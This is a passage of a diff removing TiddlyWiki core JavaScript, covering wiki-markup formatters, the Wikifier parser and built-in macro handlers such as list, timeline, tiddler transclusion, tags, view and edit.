- createTiddlyText(e,text);
- w.nextMatch = this.lookaheadRegExp.lastIndex;
- }
- }
-},
-
-{
- name: "wikiLink",
- match: config.textPrimitives.unWikiLink+"?"+config.textPrimitives.wikiLink,
- handler: function(w)
- {
- if(w.matchText.substr(0,1) == config.textPrimitives.unWikiLink) {
- w.outputText(w.output,w.matchStart+1,w.nextMatch);
- return;
- }
- if(w.matchStart > 0) {
- var preRegExp = new RegExp(config.textPrimitives.anyLetterStrict,"mg");
- preRegExp.lastIndex = w.matchStart-1;
- var preMatch = preRegExp.exec(w.source);
- if(preMatch.index == w.matchStart-1) {
- w.outputText(w.output,w.matchStart,w.nextMatch);
- return;
- }
- }
- if(w.autoLinkWikiWords || store.isShadowTiddler(w.matchText)) {
- var link = createTiddlyLink(w.output,w.matchText,false,null,w.isStatic,w.tiddler);
- w.outputText(link,w.matchStart,w.nextMatch);
- } else {
- w.outputText(w.output,w.matchStart,w.nextMatch);
- }
- }
-},
-
-{
- name: "urlLink",
- match: config.textPrimitives.urlPattern,
- handler: function(w)
- {
- w.outputText(createExternalLink(w.output,w.matchText),w.matchStart,w.nextMatch);
- }
-},
-
-{
- name: "image",
- match: "\\[[<>]?[Ii][Mm][Gg]\\[",
- lookaheadRegExp: /\[([<]?)(>?)[Ii][Mm][Gg]\[(?:([^\|\]]+)\|)?([^\[\]\|]+)\](?:\[([^\]]*)\])?\]/mg,
- handler: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- var e = w.output;
- if(lookaheadMatch[5]) {
- var link = lookaheadMatch[5];
- e = config.formatterHelpers.isExternalLink(link) ? createExternalLink(w.output,link) : createTiddlyLink(w.output,link,false,null,w.isStatic,w.tiddler);
- jQuery(e).addClass("imageLink");
- }
- var img = createTiddlyElement(e,"img");
- if(lookaheadMatch[1])
- img.align = "left";
- else if(lookaheadMatch[2])
- img.align = "right";
- if(lookaheadMatch[3]) {
- img.title = lookaheadMatch[3];
- img.setAttribute("alt",lookaheadMatch[3]);
- }
- img.src = lookaheadMatch[4];
- w.nextMatch = this.lookaheadRegExp.lastIndex;
- }
- }
-},
-
-{
- name: "html",
- match: "<[Hh][Tt][Mm][Ll]>",
- lookaheadRegExp: /<[Hh][Tt][Mm][Ll]>((?:.|\n)*?)<\/[Hh][Tt][Mm][Ll]>/mg,
- handler: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- createTiddlyElement(w.output,"span").innerHTML = lookaheadMatch[1];
- w.nextMatch = this.lookaheadRegExp.lastIndex;
- }
- }
-},
-
-{
- name: "commentByBlock",
- match: "/%",
- lookaheadRegExp: /\/%((?:.|\n)*?)%\//mg,
- handler: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart)
- w.nextMatch = this.lookaheadRegExp.lastIndex;
- }
-},
-
-{
- name: "characterFormat",
- match: "''|//|__|\\^\\^|~~|--(?!\\s|$)|\\{\\{\\{",
- handler: function(w)
- {
- switch(w.matchText) {
- case "''":
- w.subWikifyTerm(w.output.appendChild(document.createElement("strong")),/('')/mg);
- break;
- case "//":
- w.subWikifyTerm(createTiddlyElement(w.output,"em"),/(\/\/)/mg);
- break;
- case "__":
- w.subWikifyTerm(createTiddlyElement(w.output,"u"),/(__)/mg);
- break;
- case "^^":
- w.subWikifyTerm(createTiddlyElement(w.output,"sup"),/(\^\^)/mg);
- break;
- case "~~":
- w.subWikifyTerm(createTiddlyElement(w.output,"sub"),/(~~)/mg);
- break;
- case "--":
- w.subWikifyTerm(createTiddlyElement(w.output,"strike"),/(--)/mg);
- break;
- case "{{{":
- var lookaheadRegExp = /\{\{\{((?:.|\n)*?)\}\}\}/mg;
- lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- createTiddlyElement(w.output,"code",null,null,lookaheadMatch[1]);
- w.nextMatch = lookaheadRegExp.lastIndex;
- }
- break;
- }
- }
-},
-
-{
- name: "customFormat",
- match: "@@|\\{\\{",
- handler: function(w)
- {
- switch(w.matchText) {
- case "@@":
- var e = createTiddlyElement(w.output,"span");
- var styles = config.formatterHelpers.inlineCssHelper(w);
- if(styles.length == 0)
- e.className = "marked";
- else
- config.formatterHelpers.applyCssHelper(e,styles);
- w.subWikifyTerm(e,/(@@)/mg);
- break;
- case "{{":
- var lookaheadRegExp = /\{\{[\s]*([\w]+[\s\w]*)[\s]*\{(\n?)/mg;
- lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = lookaheadRegExp.exec(w.source);
- if(lookaheadMatch) {
- w.nextMatch = lookaheadRegExp.lastIndex;
- e = createTiddlyElement(w.output,lookaheadMatch[2] == "\n" ? "div" : "span",null,lookaheadMatch[1]);
- w.subWikifyTerm(e,/(\}\}\})/mg);
- }
- break;
- }
- }
-},
-
-{
- name: "mdash",
- match: "--",
- handler: function(w)
- {
- createTiddlyElement(w.output,"span").innerHTML = "&mdash;";
- }
-},
-
-{
- name: "lineBreak",
- match: "\\n|<br ?/?>",
- handler: function(w)
- {
- createTiddlyElement(w.output,"br");
- }
-},
-
-{
- name: "rawText",
- match: "\"{3}|<nowiki>",
- lookaheadRegExp: /(?:\"{3}|<nowiki>)((?:.|\n)*?)(?:\"{3}|<\/nowiki>)/mg,
- handler: function(w)
- {
- this.lookaheadRegExp.lastIndex = w.matchStart;
- var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
- if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
- createTiddlyElement(w.output,"span",null,null,lookaheadMatch[1]);
- w.nextMatch = this.lookaheadRegExp.lastIndex;
- }
- }
-},
-
-{
- name: "htmlEntitiesEncoding",
- match: "(?:(?:&#?[a-zA-Z0-9]{2,8};|.)(?:&#?(?:x0*(?:3[0-6][0-9a-fA-F]|1D[c-fC-F][0-9a-fA-F]|20[d-fD-F][0-9a-fA-F]|FE2[0-9a-fA-F])|0*(?:76[89]|7[7-9][0-9]|8[0-7][0-9]|761[6-9]|76[2-7][0-9]|84[0-3][0-9]|844[0-7]|6505[6-9]|6506[0-9]|6507[0-1]));)+|&#?[a-zA-Z0-9]{2,8};)",
- handler: function(w)
- {
- createTiddlyElement(w.output,"span").innerHTML = w.matchText;
- }
-}
-
-];
-
-//--
-//-- Wikifier
-//--
-
-function getParser(tiddler,format)
-{
- if(tiddler) {
- if(!format)
- format = tiddler.fields["wikiformat"];
- var i;
- if(format) {
- for(i in config.parsers) {
- if(format == config.parsers[i].format)
- return config.parsers[i];
- }
- } else {
- for(i in config.parsers) {
- if(tiddler.isTagged(config.parsers[i].formatTag))
- return config.parsers[i];
- }
- }
- }
- return formatter;
-}
-
-function Wikifier(source,formatter,highlightRegExp,tiddler)
-{
- this.source = source;
- this.output = null;
- this.formatter = formatter;
- this.nextMatch = 0;
- this.autoLinkWikiWords = tiddler && tiddler.autoLinkWikiWords() == false ? false : true;
- this.highlightRegExp = highlightRegExp;
- this.highlightMatch = null;
- this.isStatic = false;
- if(highlightRegExp) {
- highlightRegExp.lastIndex = 0;
- this.highlightMatch = highlightRegExp.exec(source);
- }
- this.tiddler = tiddler;
-}
-
-Wikifier.prototype.wikifyPlain = function()
-{
- var e = createTiddlyElement(document.body,"div");
- e.style.display = "none";
- this.subWikify(e);
- var text = jQuery(e).text();
- jQuery(e).remove();
- return text;
-};
-
-Wikifier.prototype.subWikify = function(output,terminator)
-{
- try {
- if(terminator)
- this.subWikifyTerm(output,new RegExp("(" + terminator + ")","mg"));
- else
- this.subWikifyUnterm(output);
- } catch(ex) {
- showException(ex);
- }
-};
-
-Wikifier.prototype.subWikifyUnterm = function(output)
-{
- var oldOutput = this.output;
- this.output = output;
- this.formatter.formatterRegExp.lastIndex = this.nextMatch;
- var formatterMatch = this.formatter.formatterRegExp.exec(this.source);
- while(formatterMatch) {
- // Output any text before the match
- if(formatterMatch.index > this.nextMatch)
- this.outputText(this.output,this.nextMatch,formatterMatch.index);
- // Set the match parameters for the handler
- this.matchStart = formatterMatch.index;
- this.matchLength = formatterMatch[0].length;
- this.matchText = formatterMatch[0];
- this.nextMatch = this.formatter.formatterRegExp.lastIndex;
- var t;
- for(t=1; t<formatterMatch.length; t++) {
- if(formatterMatch[t]) {
- this.formatter.formatters[t-1].handler(this);
- this.formatter.formatterRegExp.lastIndex = this.nextMatch;
- break;
- }
- }
- formatterMatch = this.formatter.formatterRegExp.exec(this.source);
- }
- if(this.nextMatch < this.source.length) {
- this.outputText(this.output,this.nextMatch,this.source.length);
- this.nextMatch = this.source.length;
- }
- this.output = oldOutput;
-};
-
-Wikifier.prototype.subWikifyTerm = function(output,terminatorRegExp)
-{
- var oldOutput = this.output;
- this.output = output;
- terminatorRegExp.lastIndex = this.nextMatch;
- var terminatorMatch = terminatorRegExp.exec(this.source);
- this.formatter.formatterRegExp.lastIndex = this.nextMatch;
- var formatterMatch = this.formatter.formatterRegExp.exec(terminatorMatch ? this.source.substr(0,terminatorMatch.index) : this.source);
- while(terminatorMatch || formatterMatch) {
- if(terminatorMatch && (!formatterMatch || terminatorMatch.index <= formatterMatch.index)) {
- if(terminatorMatch.index > this.nextMatch)
- this.outputText(this.output,this.nextMatch,terminatorMatch.index);
- this.matchText = terminatorMatch[1];
- this.matchLength = terminatorMatch[1].length;
- this.matchStart = terminatorMatch.index;
- this.nextMatch = this.matchStart + this.matchLength;
- this.output = oldOutput;
- return;
- }
- if(formatterMatch.index > this.nextMatch)
- this.outputText(this.output,this.nextMatch,formatterMatch.index);
- this.matchStart = formatterMatch.index;
- this.matchLength = formatterMatch[0].length;
- this.matchText = formatterMatch[0];
- this.nextMatch = this.formatter.formatterRegExp.lastIndex;
- var t;
- for(t=1; t<formatterMatch.length; t++) {
- if(formatterMatch[t]) {
- this.formatter.formatters[t-1].handler(this);
- this.formatter.formatterRegExp.lastIndex = this.nextMatch;
- break;
- }
- }
- terminatorRegExp.lastIndex = this.nextMatch;
- terminatorMatch = terminatorRegExp.exec(this.source);
- formatterMatch = this.formatter.formatterRegExp.exec(terminatorMatch ? this.source.substr(0,terminatorMatch.index) : this.source);
- }
- if(this.nextMatch < this.source.length) {
- this.outputText(this.output,this.nextMatch,this.source.length);
- this.nextMatch = this.source.length;
- }
- this.output = oldOutput;
-};
-
-Wikifier.prototype.outputText = function(place,startPos,endPos)
-{
- while(this.highlightMatch && (this.highlightRegExp.lastIndex > startPos) && (this.highlightMatch.index < endPos) && (startPos < endPos)) {
- if(this.highlightMatch.index > startPos) {
- createTiddlyText(place,this.source.substring(startPos,this.highlightMatch.index));
- startPos = this.highlightMatch.index;
- }
- var highlightEnd = Math.min(this.highlightRegExp.lastIndex,endPos);
- createTiddlyElement(place,"span",null,"highlight",this.source.substring(startPos,highlightEnd));
- startPos = highlightEnd;
- if(startPos >= this.highlightRegExp.lastIndex)
- this.highlightMatch = this.highlightRegExp.exec(this.source);
- }
- if(startPos < endPos) {
- createTiddlyText(place,this.source.substring(startPos,endPos));
- }
-};
-
-function wikify(source,output,highlightRegExp,tiddler)
-{
- if(source) {
- var wikifier = new Wikifier(source,getParser(tiddler),highlightRegExp,tiddler);
- var t0 = new Date();
- wikifier.subWikify(output);
- if(tiddler && config.options.chkDisplayInstrumentation)
- displayMessage("wikify:" +tiddler.title+ " in " + (new Date()-t0) + " ms");
- }
-}
-
-function wikifyStatic(source,highlightRegExp,tiddler,format)
-{
- var e = createTiddlyElement(document.body,"pre");
- e.style.display = "none";
- var html = "";
- if(source && source != "") {
- if(!tiddler)
- tiddler = new Tiddler("temp");
- var wikifier = new Wikifier(source,getParser(tiddler,format),highlightRegExp,tiddler);
- wikifier.isStatic = true;
- wikifier.subWikify(e);
- html = e.innerHTML;
- jQuery(e).remove();
- }
- return html;
-}
-
-function wikifyPlainText(text,limit,tiddler)
-{
- if(limit > 0)
- text = text.substr(0,limit);
- var wikifier = new Wikifier(text,formatter,null,tiddler);
- return wikifier.wikifyPlain();
-}
-
-function highlightify(source,output,highlightRegExp,tiddler)
-{
- if(source) {
- var wikifier = new Wikifier(source,formatter,highlightRegExp,tiddler);
- wikifier.outputText(output,0,source.length);
- }
-}
-
-//--
-//-- Macro definitions
-//--
-
-function invokeMacro(place,macro,params,wikifier,tiddler)
-{
- try {
- var m = config.macros[macro];
- if(m && m.handler) {
- var tiddlerElem = story.findContainingTiddler(place);
- window.tiddler = tiddlerElem ? store.getTiddler(tiddlerElem.getAttribute("tiddler")) : null;
- window.place = place;
- var allowEval = true;
- if(config.evaluateMacroParameters=="system") {
- if(!tiddler || tiddler.tags.indexOf("systemAllowEval") == -1) {
- allowEval = false;
- }
- }
- m.handler(place,macro,m.noPreParse?null:params.readMacroParams(!allowEval),wikifier,params,tiddler);
- } else {
- createTiddlyError(place,config.messages.macroError.format([macro]),config.messages.macroErrorDetails.format([macro,config.messages.missingMacro]));
- }
- } catch(ex) {
- createTiddlyError(place,config.messages.macroError.format([macro]),config.messages.macroErrorDetails.format([macro,ex.toString()]));
- }
-}
-
-config.macros.version.handler = function(place)
-{
- jQuery("<span/>").text(formatVersion()).appendTo(place);
-};
-
-config.macros.today.handler = function(place,macroName,params)
-{
- var now = new Date();
- var text = params[0] ? now.formatString(params[0].trim()) : now.toLocaleString();
- jQuery("<span/>").text(text).appendTo(place);
-};
-
-config.macros.list.template = "<<view title link>>";
-config.macros.list.handler = function(place,macroName,params,wikifier,paramString)
-{
- var list = document.createElement("ul");
- jQuery(list).attr({ refresh: "macro", macroName: macroName }).data("params", paramString);
- place.appendChild(list);
- this.refresh(list);
-};
-
-config.macros.list.refresh = function(list) {
- var paramString = jQuery(list).data("params");
- var params = paramString.readMacroParams();
- var args = paramString.parseParams("anon", null, null)[0];
- var type = args.anon ? args.anon[0] : "all";
- jQuery(list).empty().addClass("list list-" + type);
- var template = args.template ? store.getTiddlerText(args.template[0]) : false;
- if(!template) {
- template = config.macros.list.template;
- }
- if(this[type].prompt)
- createTiddlyElement(list,"li",null,"listTitle",this[type].prompt);
- var results;
- if(this[type].handler)
- results = this[type].handler(params);
- var t;
- for(t = 0; t < results.length; t++) {
- var li = document.createElement("li");
- list.appendChild(li);
- var tiddler = results[t];
- if(typeof(tiddler) == 'string') { // deal with missing etc..
- tiddler = store.getTiddler(tiddler) || new Tiddler(tiddler);
- }
- wikify(template, li, null, tiddler);
- }
- if(results.length === 0 && args.emptyMessage) {
- jQuery(list).addClass("emptyList");
- jQuery("<li />").text(args.emptyMessage[0]).appendTo(list);
- }
-};
-
-config.macros.list.all.handler = function(params)
-{
- return store.reverseLookup("tags","excludeLists",false,"title");
-};
-
-config.macros.list.missing.handler = function(params)
-{
- return store.getMissingLinks();
-};
-
-config.macros.list.orphans.handler = function(params)
-{
- return store.getOrphans();
-};
-
-config.macros.list.shadowed.handler = function(params)
-{
- return store.getShadowed();
-};
-
-config.macros.list.touched.handler = function(params)
-{
- return store.getTouched();
-};
-
-config.macros.list.filter.handler = function(params)
-{
- var filter = params[1];
- var results = [];
- if(filter) {
- var tiddlers = store.filterTiddlers(filter);
- var t;
- for(t=0; t<tiddlers.length; t++)
- results.push(tiddlers[t].title);
- }
- return results;
-};
-
-config.macros.allTags.handler = function(place,macroName,params)
-{
- var tags = store.getTags(params[0]);
- var ul = createTiddlyElement(place,"ul");
- if(tags.length == 0)
- createTiddlyElement(ul,"li",null,"listTitle",this.noTags);
- var t;
- for(t=0; t<tags.length; t++) {
- var title = tags[t][0];
- var info = getTiddlyLinkInfo(title);
- var li = createTiddlyElement(ul,"li");
- var btn = createTiddlyButton(li,title + " (" + tags[t][1] + ")",this.tooltip.format([title]),onClickTag,info.classes);
- btn.setAttribute("tag",title);
- btn.setAttribute("refresh","link");
- btn.setAttribute("tiddlyLink",title);
- if(params[1]) {
- btn.setAttribute("sortby",params[1]);
- }
- }
-};
-
-var macro = config.macros.timeline;
-merge(macro, {
- handler: function(place,macroName,params, wikifier, paramString, tiddler) {
- var container = jQuery("<div />").attr("params", paramString).
- attr("macroName", macroName).appendTo(place)[0];
- macro.refresh(container);
- },
- refresh: function(container) {
- jQuery(container).attr("refresh", "macro").empty();
- var paramString = jQuery(container).attr("params");
- var args = paramString.parseParams("anon", null, null)[0];
- var params = args.anon || [];
-
- var field = params[0] || "modified";
- var prefix = field.charAt(0);
- var no_prefix_field = prefix === "-" || prefix === "+" ? field.substr(1, field.length) : field;
- var dateFormat = params[2] || this.dateFormat;
- var groupTemplate = macro.groupTemplate.format(no_prefix_field, dateFormat);
- groupTemplate = args.groupTemplate ? store.getTiddlerText(args.groupTemplate[0]) || groupTemplate :
- groupTemplate;
-
- var itemTemplate = macro.itemTemplate;
- itemTemplate = args.template ? store.getTiddlerText(args.template[0]) || itemTemplate :
- itemTemplate;
-
- var tiddlers = args.filter ? store.sortTiddlers(store.filterTiddlers(args.filter[0]), field) :
- store.reverseLookup("tags", "excludeLists", false, field);
- var lastGroup = "", ul;
- var last = params[1] ? tiddlers.length-Math.min(tiddlers.length,parseInt(params[1],10)) : 0;
- var t;
- for(t=tiddlers.length-1; t>=last; t--) {
- var tiddler = tiddlers[t];
- var theGroup = wikifyPlainText(groupTemplate,0,tiddler);
- if(typeof(ul) == "undefined" || theGroup != lastGroup) {
- ul = document.createElement("ul");
- jQuery(ul).addClass("timeline");
- container.appendChild(ul);
- createTiddlyElement(ul,"li",null,"listTitle",theGroup);
- lastGroup = theGroup;
- }
- var item = createTiddlyElement(ul,"li",null,"listLink");
- wikify(itemTemplate,item,null,tiddler);
- }
- },
- groupTemplate: "<<view %0 date '%1'>>",
- itemTemplate: "<<view title link>>"
-});
-
-config.macros.tiddler.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- var allowEval = true;
- var stack = config.macros.tiddler.tiddlerStack;
- if(stack.length > 0 && config.evaluateMacroParameters == "system") {
- // included tiddler and "system" evaluation required, so check tiddler tagged appropriately
- var title = stack[stack.length-1];
- var pos = title.indexOf(config.textPrimitives.sectionSeparator);
- if(pos != -1) {
- title = title.substr(0,pos); // get the base tiddler title
- }
- var t = store.getTiddler(title);
- if(!t || t.tags.indexOf("systemAllowEval") == -1) {
- allowEval = false;
- }
- }
- params = paramString.parseParams("name",null,allowEval,false,true);
- var names = params[0]["name"];
- var tiddlerName = names[0];
- var className = names[1] || null;
- var args = params[0]["with"];
- var wrapper = createTiddlyElement(place,"span",null,className,null,{
- refresh: "content", tiddler: tiddlerName
- });
- if(args!==undefined)
- wrapper.setAttribute("args","[["+args.join("]] [[")+"]]");
- this.transclude(wrapper,tiddlerName,args);
-};
-
-config.macros.tiddler.transclude = function(wrapper,tiddlerName,args)
-{
- var text = store.getTiddlerText(tiddlerName);
- if(!text)
- return;
- var stack = config.macros.tiddler.tiddlerStack;
- if(stack.indexOf(tiddlerName) !== -1)
- return;
- stack.push(tiddlerName);
- try {
- if(typeof args == "string")
- args = args.readBracketedList();
- var n = args ? Math.min(args.length,9) : 0;
- var i;
- for(i=0; i<n; i++) {
- var placeholderRE = new RegExp("\\$" + (i + 1),"mg");
- text = text.replace(placeholderRE,args[i]);
- }
- config.macros.tiddler.renderText(wrapper,text,tiddlerName);
- } finally {
- stack.pop();
- }
-};
-
-config.macros.tiddler.renderText = function(place,text,tiddlerName)
-{
- wikify(text,place,null,store.getTiddler(tiddlerName));
-};
-
-config.macros.tiddler.tiddlerStack = [];
-
-config.macros.tag.handler = function(place,macroName,params)
-{
- var btn = createTagButton(place,params[0],null,params[1],params[2]);
- if(params[3]) {
- btn.setAttribute('sortby',params[3]);
- }
-};
-
-config.macros.tags.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- params = paramString.parseParams("anon",null,true,false,false);
- var ul = createTiddlyElement(place,"ul");
- var title = getParam(params,"anon","");
- if(title && store.tiddlerExists(title))
- tiddler = store.getTiddler(title);
- var sep = getParam(params,"sep"," ");
- var lingo = config.views.wikified.tag;
- var label = null;
- var t;
- for(t=0; t<tiddler.tags.length; t++) {
- var tag = store.getTiddler(tiddler.tags[t]);
- if(!tag || !tag.tags.contains("excludeLists")) {
- if(!label)
- label = createTiddlyElement(ul,"li",null,"listTitle",lingo.labelTags.format([tiddler.title]));
- createTagButton(createTiddlyElement(ul,"li"),tiddler.tags[t],tiddler.title);
- if(t<tiddler.tags.length-1)
- createTiddlyText(ul,sep);
- }
- }
- if(!label)
- createTiddlyElement(ul,"li",null,"listTitle",lingo.labelNoTags.format([tiddler.title]));
-};
-
-config.macros.tagging.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- params = paramString.parseParams("anon",null,true,false,false);
- var ul = createTiddlyElement(place,"ul");
- var title = getParam(params,"anon","");
- if(title == "" && tiddler instanceof Tiddler)
- title = tiddler.title;
- var sep = getParam(params,"sep"," ");
- ul.setAttribute("title",this.tooltip.format([title]));
- var sortby = getParam(params,"sortBy",false);
- var tagged = store.getTaggedTiddlers(title,sortby);
- var prompt = tagged.length == 0 ? this.labelNotTag : this.label;
- createTiddlyElement(ul,"li",null,"listTitle",prompt.format([title,tagged.length]));
- var t;
- for(t=0; t<tagged.length; t++) {
- createTiddlyLink(createTiddlyElement(ul,"li"),tagged[t].title,true);
- if(t<tagged.length-1)
- createTiddlyText(ul,sep);
- }
-};
-
-config.macros.closeAll.handler = function(place)
-{
- createTiddlyButton(place,this.label,this.prompt,this.onClick);
-};
-
-config.macros.closeAll.onClick = function(e)
-{
- story.closeAllTiddlers();
- return false;
-};
-
-config.macros.permaview.handler = function(place)
-{
- createTiddlyButton(place,this.label,this.prompt,this.onClick);
-};
-
-config.macros.permaview.onClick = function(e)
-{
- story.permaView();
- return false;
-};
-
-config.macros.saveChanges.handler = function(place,macroName,params)
-{
- if(!readOnly)
- createTiddlyButton(place,params[0] || this.label,params[1] || this.prompt,this.onClick,null,null,this.accessKey);
-};
-
-config.macros.saveChanges.onClick = function(e)
-{
- saveChanges();
- return false;
-};
-
-config.macros.slider.onClickSlider = function(ev)
-{
- var n = this.nextSibling;
- var cookie = n.getAttribute("cookie");
- var isOpen = n.style.display != "none";
- if(config.options.chkAnimate && anim && typeof Slider == "function")
- anim.startAnimating(new Slider(n,!isOpen,null,"none"));
- else
- n.style.display = isOpen ? "none" : "block";
- config.options[cookie] = !isOpen;
- saveOption(cookie);
- return false;
-};
-
-config.macros.slider.createSlider = function(place,cookie,title,tooltip)
-{
- var c = cookie || "";
- createTiddlyButton(place,title,tooltip,this.onClickSlider);
- var panel = createTiddlyElement(null,"div",null,"sliderPanel");
- panel.setAttribute("cookie",c);
- panel.style.display = config.options[c] ? "block" : "none";
- place.appendChild(panel);
- return panel;
-};
-
-config.macros.slider.handler = function(place,macroName,params)
-{
- var panel = this.createSlider(place,params[0],params[2],params[3]);
- var text = store.getTiddlerText(params[1]);
- panel.setAttribute("refresh","content");
- panel.setAttribute("tiddler",params[1]);
- if(text)
- wikify(text,panel,null,store.getTiddler(params[1]));
-};
-
-// <<gradient [[tiddler name]] vert|horiz rgb rgb rgb rgb... >>
-config.macros.gradient.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- var panel = wikifier ? createTiddlyElement(place,"div",null,"gradient") : place;
- panel.style.position = "relative";
- panel.style.overflow = "hidden";
- panel.style.zIndex = "0";
- if(wikifier) {
- var styles = config.formatterHelpers.inlineCssHelper(wikifier);
- config.formatterHelpers.applyCssHelper(panel,styles);
- }
- params = paramString.parseParams("color");
- var locolors = [], hicolors = [];
- var t;
- for(t=2; t<params.length; t++) {
- var c = params[t].value;
- if(params[t].name == "snap") {
- hicolors[hicolors.length-1] = c;
- } else {
- locolors.push(c);
- hicolors.push(c);
- }
- }
- drawGradient(panel,params[1].value != "vert",locolors,hicolors);
- if(wikifier)
- wikifier.subWikify(panel,">>");
- if(document.all) {
- panel.style.height = "100%";
- panel.style.width = "100%";
- }
-};
-
-config.macros.message.handler = function(place,macroName,params)
-{
- if(params[0]) {
- var names = params[0].split(".");
- var lookupMessage = function(root,nameIndex) {
- if(root[names[nameIndex]]) {
- if(nameIndex < names.length-1)
- return (lookupMessage(root[names[nameIndex]],nameIndex+1));
- else
- return root[names[nameIndex]];
- } else
- return null;
- };
- var m = lookupMessage(config,0);
- if(m == null)
- m = lookupMessage(window,0);
- createTiddlyText(place,m.toString().format(params.splice(1)));
- }
-};
-
-
-config.macros.view.depth = 0;
-config.macros.view.values = [];
-config.macros.view.views = {
- text: function(value,place,params,wikifier,paramString,tiddler) {
- highlightify(value,place,highlightHack,tiddler);
- },
- link: function(value,place,params,wikifier,paramString,tiddler) {
- createTiddlyLink(place,value,true);
- },
- wikified: function(value,place,params,wikifier,paramString,tiddler) {
- if(config.macros.view.depth>50)
- return;
- if(config.macros.view.depth>0) {
- if (value==config.macros.view.values[config.macros.view.depth-1]) {
- return;
- }
- }
- config.macros.view.values[config.macros.view.depth] = value;
- config.macros.view.depth++;
- if(params[2])
- value=params[2].unescapeLineBreaks().format([value]);
- wikify(value,place,highlightHack,tiddler);
- config.macros.view.depth--;
- config.macros.view.values[config.macros.view.depth] = null;
- },
- date: function(value,place,params,wikifier,paramString,tiddler) {
- value = Date.convertFromYYYYMMDDHHMM(value);
- createTiddlyText(place,value.formatString(params[2] || config.views.wikified.dateFormat));
- }
-};
-
-config.macros.view.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- if((tiddler instanceof Tiddler) && params[0]) {
- var value = store.getValue(tiddler,params[0]);
- if(value) {
- var type = params[1] || config.macros.view.defaultView;
- var handler = config.macros.view.views[type];
- if(handler)
- handler(value,place,params,wikifier,paramString,tiddler);
- }
- }
-};
-
-config.macros.edit.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- var field = params[0];
- var rows = params[1] || 0;
- var defVal = params[2] || '';
- if((tiddler instanceof Tiddler) && field) {
- story.setDirty(tiddler.title,true);
- var e,v;
- if(field != "text" && !rows) {
- e = createTiddlyElement(null,"input",null,null,null,{
- type: "text", edit: field, size: "40", autocomplete: "off"
- });
- e.value = store.getValue(tiddler,field) || defVal;
- place.appendChild(e);
- } else {
- var wrapper1 = createTiddlyElement(null,"fieldset",null,"fieldsetFix");
- var wrapper2 = createTiddlyElement(wrapper1,"div");
- e = createTiddlyElement(wrapper2,"textarea");
- e.value = v = store.getValue(tiddler,field) || defVal;
- rows = rows || 10;
- var lines = v.match(/\n/mg);
- var maxLines = Math.max(parseInt(config.options.txtMaxEditRows,10),5);
- if(lines != null && lines.length > rows)
- rows = lines.length + 5;
- rows = Math.min(rows,maxLines);
- e.setAttribute("rows",rows);
- e.setAttribute("edit",field);
- place.appendChild(wrapper1);
- }
- if(tiddler.isReadOnly()) {
- e.setAttribute("readOnly","readOnly");
- jQuery(e).addClass("readOnly");
- }
- return e;
- }
-};
-
-config.macros.tagChooser.onClick = function(ev)
-{
- var e = ev || window.event;
- var lingo = config.views.editor.tagChooser;
- var popup = Popup.create(this);
- var tags = store.getTags(this.getAttribute("tags"));
- if(tags.length == 0)
- jQuery("<li/>").text(lingo.popupNone).appendTo(popup);
- var t;
- for(t=0; t<tags.length; t++) {
- var tag = createTiddlyButton(createTiddlyElement(popup,"li"),tags[t][0],lingo.tagTooltip.format([tags[t][0]]),config.macros.tagChooser.onTagClick);
- tag.setAttribute("tag",tags[t][0]);
- tag.setAttribute("tiddler",this.getAttribute("tiddler"));
- }
- Popup.show();
- e.cancelBubble = true;
- if(e.stopPropagation) e.stopPropagation();
- return false;
-};
-
-config.macros.tagChooser.onTagClick = function(ev)
-{
- var e = ev || window.event;
- if(e.metaKey || e.ctrlKey) stopEvent(e); //# keep popup open on CTRL-click
- var tag = this.getAttribute("tag");
- var title = this.getAttribute("tiddler");
- if(!readOnly)
- story.setTiddlerTag(title,tag,0);
- return false;
-};
-
-config.macros.tagChooser.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- if(tiddler instanceof Tiddler) {
- var lingo = config.views.editor.tagChooser;
- var btn = createTiddlyButton(place,lingo.text,lingo.tooltip,this.onClick);
- btn.setAttribute("tiddler",tiddler.title);
- btn.setAttribute("tags",params[0]);
- }
-};
-
-config.macros.refreshDisplay.handler = function(place)
-{
- createTiddlyButton(place,this.label,this.prompt,this.onClick);
-};
-
-config.macros.refreshDisplay.onClick = function(e)
-{
- refreshAll();
- return false;
-};
-
-config.macros.annotations.handler = function(place,macroName,params,wikifier,paramString,tiddler)
-{
- var title = tiddler ? tiddler.title : null;
- var a = title ? config.annotations[title] : null;
- if(!tiddler || !title || !a)
- return;
- var text = a.format([title]);
- wikify(text,createTiddlyElement(place,"div",null,"annotation"),null,tiddler);
-};
-//--
-//-- NewTiddler and NewJournal macros
-//--
-
-config.macros.newTiddler.createNewTiddlerButton = function(place,title,params,label,prompt,accessKey,newFocus,isJournal)
-{
- var tags = [];
- var t;
- for(t=1; t<params.length; t++) {
- if((params[t].name == "anon" && t != 1) || (params[t].name == "tag"))
- tags.push(params[t].value);
- }
- label = getParam(params,"label",label);
- prompt = getParam(params,"prompt",prompt);
- accessKey = getParam(params,"accessKey",accessKey);
- newFocus = getParam(params,"focus",newFocus);
- var customFields = getParam(params,"fields","");
- if(!customFields && !store.isShadowTiddler(title))
- customFields = String.encodeHashMap(config.defaultCustomFields);
- var btn = createTiddlyButton(place,label,prompt,this.onClickNewTiddler,null,null,accessKey);
- btn.setAttribute("newTitle",title);
- btn.setAttribute("isJournal",isJournal ? "true" : "false");
